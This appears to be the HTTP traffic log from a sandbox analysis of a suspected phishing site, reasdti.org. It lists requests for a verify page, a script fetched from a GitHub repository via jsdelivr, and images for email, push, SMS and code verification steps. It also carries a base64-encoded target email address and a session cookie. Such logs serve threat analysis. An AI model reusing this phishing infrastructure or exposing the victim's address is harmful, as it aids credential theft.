https://reasdti.org/?cf-turnstile-response=0.InkHdckrmd1dBi_qntIESJkuFiVQQEx_YV-OueAcyRPOhQlUvgUI_Y4DftoT9GFTDdS5AUw3StOwFqxtVWe9YRw-uNrvUFv_SWQp_mgrH7yVkY8-6MB8o4DuU5yfysVQAtKcOgsFgcp79lCK-ewlhm7YM5epcamevhpWfzmfkAfA-kQ3EBtiO7vvCfAxb2ibv4_6H18uJL36uldKe-lF8b_OJxSSm0sxZUKH-VLzBw2j0buZlkA9yh8JTttMCoVAhkTfI-uxgFMawBMTxbsCOyqOpBpGGc67-DrBcLZb8Vmb5Dy81u6qL07vcTDBCswpRINm1wVExgqKKjXvnTVURYsPMKwkRekOr9osZlD-weulEw6HBKyhf8XG6xBY_sgIl2IRDQrB_yJgvIiRNMHJA23OiMWb0upgOBbLoFxp0yNthBA01Tam6FEK_telicbC7JkaeVwIB-YGSZsW3YSmdg355MUCs-FqBICw9-ScPz_KKKu517f_hP0_1YoaryFqcelqhWav_Ubqhaaa4TRSmM1fuU4X-tbbVRj3leEzyjFsYFl9anhb6NR71eTKrVH-wi7NXsqoZqK5T8hXimzBlGdhsQamyC22HugQjJJr5Cag4oZU0lfYlmesh_Ao3FepmCSsOZSWfVG6JW4rEFCiXzcfxAqNLIWxAVJiUpkRIxODzVuUKpb7EEoGZeUZnU5RAPzbyZxQSjd_yd1LxZNethAV98dUsP80o_4b0SCtJeakEb-n0nBzg3GQKDUsKC5xGmShakT7Q715FicABX4uqmG84-5fi9nYqxItTVZgtnHDNvZFZmGK22QcLBqHMyIjf3UX9aW2scoi_xioENEIbQ.mELfaTvVRmNy9VpvbgqH5Q.8e5844d20e52a6d4b10acb1595c6eb6181a425781388cadc4300a66413173e55Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /gh/syntaxerror019/HTML-STO/ld.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://reasdti.org/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verify HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/index?a=YmVja3liQHBhcmFkaWdtLWNvcnAuY29tAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://reasdti.org/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /page/styles/app.css HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verifyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/logo.png HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verifyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/sign.png HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verifyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/default.png HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verifyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/emailphone.png HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verifyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/question.png HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verifyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/key.png HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verifyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/back.png HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verifyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/enter.png HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verifyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/push.png HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verifyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/verifnotif2.png HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verifyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/info.png HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verifyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/appnotif2.png HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verifyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/verify.png HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verifyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/verify_app.png HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verifyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/verify_code.png HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verifyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/verify_sms.png HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verifyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/sign.png HTTP/1.1Host: reasdti.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/logo.png HTTP/1.1Host: reasdti.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/emailphone.png HTTP/1.1Host: reasdti.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/question.png HTTP/1.1Host: reasdti.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/key.png HTTP/1.1Host: reasdti.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/enter.png HTTP/1.1Host: reasdti.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/back.png HTTP/1.1Host: reasdti.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/push.png HTTP/1.1Host: reasdti.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/verifnotif2.png HTTP/1.1Host: reasdti.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/info.png HTTP/1.1Host: reasdti.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/appnotif2.png HTTP/1.1Host: reasdti.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /page/images/verify.png HTTP/1.1Host: reasdti.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
